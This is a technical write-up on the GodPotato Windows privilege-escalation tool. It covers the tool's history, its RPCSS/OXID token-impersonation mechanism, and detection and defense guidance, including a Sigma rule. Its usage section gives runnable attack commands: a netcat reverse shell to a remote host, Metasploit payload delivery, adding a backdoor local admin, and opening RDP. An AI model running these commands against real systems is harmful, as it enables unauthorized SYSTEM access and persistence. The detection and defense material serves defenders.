Security Research · Windows Privilege Escalation · For authorized use only
Repository: BeichenDream/GodPotato · v1.20 · C# · Apache 2.0 · Released December 2022
01 · What is GodPotato?
GodPotato is a Windows Privilege Escalation tool developed by BeichenDream, released in December 2022. It's the latest evolution of the "Potato" family that security researchers have iterated on for over six years.
The core goal: once an attacker has shell/code execution under a Service Account (e.g. IIS Application Pool, MSSQL Service, NETWORK SERVICE) that holds SeImpersonatePrivilege GodPotato escalates it straight to NT AUTHORITY\SYSTEM.
What makes it "God"
Unlike JuicyPotato, which needs a version-specific CLSID and fails on Windows Server 2019+, GodPotato abuses a flaw in RPCSS a mandatory service that always runs in the SYSTEM context on every Windows version. That means it works on Windows 8 through Windows 11 and Server 2012 through Server 2022, without needing any CLSID at all (since v1.20).
Repository Info
| Property | Value |
|---|---|
| Developer | BeichenDream |
| Language | C# (.NET) |
| License | Apache 2.0 |
| Released | December 23, 2022 |
| Latest update | v1.20 (April 11, 2023) |
| GitHub Stars | ~2,316 |
| Forks | ~270 |
Why it matters
- Used in real pentest engagements across many organizations
- Found in actual malware campaigns in the wild
- Tested and working across nearly every Windows version
- No specific port or external relay required
- Single binary extremely easy to use
02 · Evolution of the Potato Family
The Potato exploit family has evolved continuously for over 6 years, each version fixing the shortcomings of the previous one:
Timeline
2016 RottenPotato
The first technique, by @Stephen Fewer and @James Forshaw. Used NBNS spoofing + NTLM relay from the Windows Defender Update service to a fake COM server, then impersonated the SYSTEM token. Required Metasploit Meterpreter.
2018 JuicyPotato
By @decoder_it and @ohpe. Improved on RottenPotato, no longer requiring Meterpreter. Used a version-specific CLSID list, required binding to port 1337. Worked well on Windows 7 – Server 2016, but failed on Server 2019+ after Microsoft closed the BITS service exploitation path.
2020 RoguePotato
By @decoder_it and @splinter_code. Fixed the JuicyPotato issue on Server 2019 using cross-session COM activation and an RPC endpoint, but required an external relay server, making setup more complex.
2020 PrintSpoofer
By @itm4n. Used named pipe impersonation together with the Print Spooler service no COM/CLSID needed, but required the Print Spooler service to be running, which many organizations have already disabled.
2022 JuicyPotatoNG
By @antonioCoco. Improved JuicyPotato using a new BITS service approach, but still required a CLSID list and carried some limitations.
2022 DEC GodPotato ⭐ (latest)
By @BeichenDream. Abuses a flaw in RPCSS OXID Resolution a mandatory service on every Windows install. No CLSID needed (v1.20+), no external relay, no specific service dependency. Works on everything from 2012–2022 and Win8–Win11.
Potato Family Comparison
| Tool | Win 7/2008 | Win 10/2016 | Win 11/2019+ | Special requirement |
|---|---|---|---|---|
| RottenPotato | ✅ | Some versions | ❌ | Meterpreter |
| JuicyPotato | ✅ | ✅ | ❌ | Version-specific CLSID list |
| RoguePotato | Partial | ✅ | ✅ | External relay server |
| PrintSpoofer | ❌ | ✅ | If Spooler enabled | Print Spooler service |
| GodPotato | 2012+ | ✅ | ✅ | SeImpersonatePrivilege only |
03 · Technical Mechanism
Core concept RPCSS and OXID
What is RPCSS?
Remote Procedure Call SubSystem (RPCSS) is a mandatory Windows service that's the core of the COM/DCOM infrastructure, handling inter-process communication. It always runs in the context of NT AUTHORITY\SYSTEM and cannot be disabled.
What is OXID?
Object eXporter IDentifier (OXID) identifies a COM server instance on Windows DCOM. When a client requests a COM object, RPCSS must perform OXID Resolution to find which endpoint the COM server lives at this is the exact point GodPotato attacks.
Attack mechanism 4 main steps
① Fake OXID Resolver
GodPotato registers itself as a fake OXID Resolver (a fake COM server), pointing its endpoint to a named pipe the attacker controls.
② Trigger DCOM Activation
GodPotato sends a DCOM object activation/marshaling request, forcing RPCSS to perform OXID resolution against the fake resolver.
③ RPCSS connects to the Named Pipe
RPCSS (running as SYSTEM) receives the response from the fake resolver and connects to the attacker's named pipe to talk to the "COM server."
④ Token Impersonation → SYSTEM
GodPotato calls ImpersonateNamedPipeClient() → obtains the SYSTEM token, then calls CreateProcessWithToken() to spawn a new process in the SYSTEM context.
Windows APIs used in the attack
| API Call | Purpose | Privilege required |
|---|---|---|
CreateNamedPipe() | Creates a named pipe server to wait for RPCSS to connect | User level |
CoCreateInstance() / CoMarshalInterface() | Triggers DCOM activation through the COM runtime | User level |
ConnectNamedPipe() | Waits for RPCSS (SYSTEM) to connect to the pipe | User level |
ImpersonateNamedPipeClient() | Steals the SYSTEM token from RPCSS's pipe connection | SeImpersonatePrivilege |
OpenThreadToken() | Opens the token obtained via impersonation | |
DuplicateTokenEx() | Creates a primary token from the impersonation token | |
CreateProcessWithTokenW() | Spawns a new process with the SYSTEM token | SeImpersonatePrivilege |
Root Cause
RPCSS is a mandatory service that Microsoft designed to always run as SYSTEM, since it manages OS-level COM infrastructure. The OXID resolution "vulnerability" is normal protocol behavior being abused not a classic "bug" so it's hard to patch without breaking the entire Windows COM/DCOM ecosystem.
04 · Attack Flow Diagram
The full exploit is divided into 4 phases:
PHASE 1 Setup
① GodPotato.exe starts
└─ Privilege: Service Account + SeImpersonatePrivilege
② CreateNamedPipe()
└─ Creates Named Pipe: \\.\pipe\GodPotato-xxx
③ Register Fake OXID Resolver
└─ Registers a fake COM endpoint
└─ Points endpoint → attacker's named pipePHASE 2 Trigger RPCSS
④ Attacker → RPCSS
CoCreateInstance() / CoMarshalInterface()
└─ Sends DCOM activation request ►
⑤ RPCSS → Attacker
◄ OXID resolution query
└─ "Where's the COM server?"
⑥ Attacker → RPCSS
OXID response ►
└─ "COM server = \\.\pipe\GodPotato-xxx"PHASE 3 Token Theft
⑦ RPCSS (NT AUTHORITY\SYSTEM) → Named Pipe
◄ ConnectNamedPipe() succeeds!
└─ SYSTEM has connected
⑧ ImpersonateNamedPipeClient()
└─ Steals SYSTEM token from RPCSS connection
└─ OpenThreadToken() → DuplicateTokenEx()
└─ ✅ Got the SYSTEM Token!PHASE 4 Execute as SYSTEM
⑨ CreateProcessWithTokenW(SYSTEM_token, -cmd "...")
└─ Spawns a new process as NT AUTHORITY\SYSTEM
└─ ✅ cmd.exe / reverse shell / whatever -cmd specifies05 · Prerequisites and Privileges
Required Windows Privileges
| Privilege | Requirement | Notes |
|---|---|---|
SeImpersonatePrivilege | Required | The core privilege lets you impersonate the token of a client connecting to the named pipe |
SeAssignPrimaryTokenPrivilege | Optional (situational) | Used to assign a token directly to a new process |
SeDebugPrivilege | Not required | GodPotato doesn't need this, unlike Mimikatz |
Accounts with SeImpersonatePrivilege by default
| Account / Service | Common scenario | Risk |
|---|---|---|
IIS APPPOOL\* | Web shell, RCE on IIS applications | 🔴 Very high |
NT SERVICE\MSSQLSERVER | SQL injection + xp_cmdshell, stacked queries | 🔴 Very high |
NETWORK SERVICE | Various services running under Network Service | 🔴 High |
LOCAL SERVICE | Windows services configured to run as Local Service | 🟡 Medium |
NT AUTHORITY\SYSTEM | Already has this privilege | ✅ GodPotato not needed |
Checking privileges before use
# Check current account privileges
whoami /priv
# Expected output:
# SeImpersonatePrivilege Impersonate a client after authentication Enabled
# Check current account
whoami
# IIS: iis apppool\defaultapppool ← has SeImpersonate
# MSSQL: nt service\mssqlserver ← has SeImpersonate06 · Supported Systems
Windows Client
| Version | Supported |
|---|---|
| Windows 8 | ✅ |
| Windows 8.1 | ✅ |
| Windows 10 | ✅ (all builds) |
| Windows 11 | ✅ |
Windows Server
| Version | Supported |
|---|---|
| Server 2012 | ✅ |
| Server 2012 R2 | ✅ |
| Server 2016 | ✅ |
| Server 2019 | ✅ |
| Server 2022 | ✅ |
Why every version is supported
Because it targets RPCSS, a core Windows service whose OXID resolution behavior hasn't changed across any Windows version since Windows 2000. Microsoft can't "fix" this behavior without breaking the entire COM/DCOM ecosystem.
07 · Binary Files and .NET Versions
GodPotato ships 3 binaries depending on .NET Framework version:
| Binary | .NET Version | Target systems | Notes |
|---|---|---|---|
GodPotato-NET2.exe | .NET 2.0 | Windows Server 2003+ | Very old systems without newer .NET |
GodPotato-NET35.exe | .NET 3.5 | Windows Vista / Server 2008+ | For legacy systems |
GodPotato-NET4.exe ⭐ | .NET 4.0+ | Windows 7 / Server 2008 R2+ | Recommended works on almost all modern systems |
CLR Compatibility Issue
There are reports of GodPotato not working if the .NET CLR is loaded into the process in unusual ways (e.g. some C++ services that host the CLR). In that case, try running it via a separate process or withcmd /c GodPotato.exe.
08 · Commands and Usage Examples
Basic Syntax
GodPotato.exe -cmd "<COMMAND>"
## Parameters:
-cmd Command to run in SYSTEM context (required)
Default: "cmd /c whoami"Proof of Concept
# Verify SYSTEM was actually obtained
GodPotato-NET4.exe -cmd "cmd /c whoami"
# Expected result: nt authority\system
# Save output to a file
GodPotato-NET4.exe -cmd "cmd /c whoami > C:\Windows\Temp\out.txt"
type C:\Windows\Temp\out.txtReverse Shell
# Reverse shell via netcat
GodPotato-NET4.exe -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.100 4444"
# PowerShell encoded payload (recommended avoids quote issues)
GodPotato-NET4.exe -cmd "powershell -enc <BASE64_ENCODED_COMMAND>"Adding a Local Admin
# Add a local admin account
GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssw0rd! /add"
GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators hacker /add"
# Enable RDP
GodPotato-NET4.exe -cmd "cmd /c reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"
GodPotato-NET4.exe -cmd "cmd /c netsh advfirewall firewall add rule name=RDP protocol=TCP dir=in localport=3389 action=allow"With CrackMapExec / Metasploit
# Upload the file via CME then run it
crackmapexec smb target -u user -p pass --put-file GodPotato-NET4.exe C:/Windows/Temp/gp.exe
crackmapexec smb target -u user -p pass -x "C:\Windows\Temp\gp.exe -cmd \"cmd /c whoami\""
# Use with the Metasploit web_delivery module
# 1. msfconsole: use exploit/multi/script/web_delivery
# 2. set payload windows/x64/meterpreter/reverse_tcp
# 3. copy the PowerShell command from msf
GodPotato-NET4.exe -cmd "powershell -enc <MSF_POWERSHELL_PAYLOAD>"Common issue Double Quotes
GodPotato has trouble with double quotes inside the command string. Escape them with\", or better, base64-encode the command and pass it viapowershell -encto sidestep quote-escaping entirely.
09 · Detection
Key Windows Event IDs
| Event ID | Event name | What to monitor |
|---|---|---|
| Event 4688 | Process Creation | w3wp.exe / sqlservr.exe as parent of cmd.exe/powershell.exe running in SYSTEM context |
| Sysmon 17/18 | Named Pipe Created/Connected | A named pipe called GodPotato-<random> created by an IIS/MSSQL account |
| Sysmon Event 1 | Process Create with Token Elevation | Integrity Level jump: Medium → System without going through Windows authentication |
| Event 4673 | Privileged Service Called | SeImpersonatePrivilege used outside of normal operation |
| AV/EDR Signatures | Binary Detection | GodPotato.exe flagged by Defender, CrowdStrike, Carbon Black monitor csc.exe dynamic compilation on production servers |
Sigma Rule
title: Potato-style PrivEsc Service Account SYSTEM Token
status: stable
description: Detects a service account spawning a process with SYSTEM integrity level
logsource:
product: windows
category: process_creation
detection:
selection:
IntegrityLevel: 'System'
ParentImage|endswith:
- '\w3wp.exe' # IIS worker
- '\sqlservr.exe' # MSSQL
- '\tomcat.exe' # Tomcat
- '\java.exe' # Java app servers
condition: selection
falsepositives:
- Very unlikely in production environments
level: critical
tags:
- attack.privilege_escalation
- attack.t1134.001MITRE ATT&CK Mapping
| Technique | ID | Description |
|---|---|---|
| Access Token Manipulation: Token Impersonation/Theft | T1134.001 | ImpersonateNamedPipeClient() steals the SYSTEM token |
| Exploitation for Privilege Escalation | T1068 | Abuses RPCSS OXID resolution behavior |
| Named Pipe | T1559.001 | Creates a named pipe to receive the RPCSS connection |
10 · Defense
Mitigation Measures
| Measure | How | Level | Notes |
|---|---|---|---|
| Use gMSA instead of a regular service account | New-ADServiceAccount -Name svc_iis → auto password rotation, 240 characters | 🔴 Highest | gMSA still has SeImpersonate, but reduces risk from password theft |
| Remove SeImpersonatePrivilege | GPO → Security Settings → User Rights Assignment | 🔴 Highest | May break IIS/SQL functionality test first |
| Windows Defender Credential Guard | Enable via GPO | 🟡 Medium | Blocks credential theft but doesn't directly block GodPotato |
| Application Whitelisting (WDAC/AppLocker) | Block execution of unsigned binaries | 🟡 Medium | Attacker must re-sign GodPotato to bypass adds friction |
| EDR Behavioral Detection | CrowdStrike, SentinelOne, Defender for Endpoint | 🟡 Medium | Detects pattern: named pipe impersonation + process elevation |
| Network Segmentation | Restrict outbound traffic from web servers | 🟡 Medium | Blocks reverse shells but doesn't prevent local PrivEsc |
| Sysmon + SIEM | Deploy Sysmon + monitor Events 17/18 + 4688 | 🟢 Detection | Doesn't prevent, but enables fast detection |
| Least Privilege Application Pool | IIS: run the app pool under a custom, minimally-privileged account | 🟢 Risk reduction | If the account lacks SeImpersonate, GodPotato fails immediately |
Best mitigation
The only way to definitively block GodPotato is to make sure the service account doesn't have SeImpersonatePrivilege. But since Windows grants this to service accounts by default, the more practical approach is to make initial access to that service account hard to get (patch the web app, WAF, reduce attack surface) and to detect fast via EDR + Sysmon.
GodPotato · BeichenDream/GodPotato · v1.20 · Apache 2.0 · For authorized security research only
